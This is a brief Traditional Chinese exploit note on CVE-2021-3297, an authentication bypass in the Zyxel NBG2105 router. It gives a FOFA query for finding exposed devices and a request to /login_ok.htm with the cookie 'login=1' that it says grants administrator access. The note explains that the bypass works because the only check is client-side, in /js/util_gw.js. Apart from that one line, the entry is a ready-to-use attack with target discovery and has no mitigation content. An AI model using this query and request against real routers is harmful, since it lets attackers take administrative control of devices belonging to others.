CVE-2021-3297_Zyxel_NBG2105_身份驗證繞過漏洞_zh-hant

# CVE-2021-3297 Zyxel NBG2105 身份驗證繞過漏洞/zh-hant

==漏洞影響==

Zyxel NBG2105

==FOFA==

app="ZyXEL-NBG2105"


其中前端文件 /js/util_gw.js 存在前端對 Cookie login參數的校驗。

請求如下則會以管理員身份跳轉到 home.htm頁面。

http://xxx.xxx.xxx.xxx/login_ok.htm

Cookie: login=1;